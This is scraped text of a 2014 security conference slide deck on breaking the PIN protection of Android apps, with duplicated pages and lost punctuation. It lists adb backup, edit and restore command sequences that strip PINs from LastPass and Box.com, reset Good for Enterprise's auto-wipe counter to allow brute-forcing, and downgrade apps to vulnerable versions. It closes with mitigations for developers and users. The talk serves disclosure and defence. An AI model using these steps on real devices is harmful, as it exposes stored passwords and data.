  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 75: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 76: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
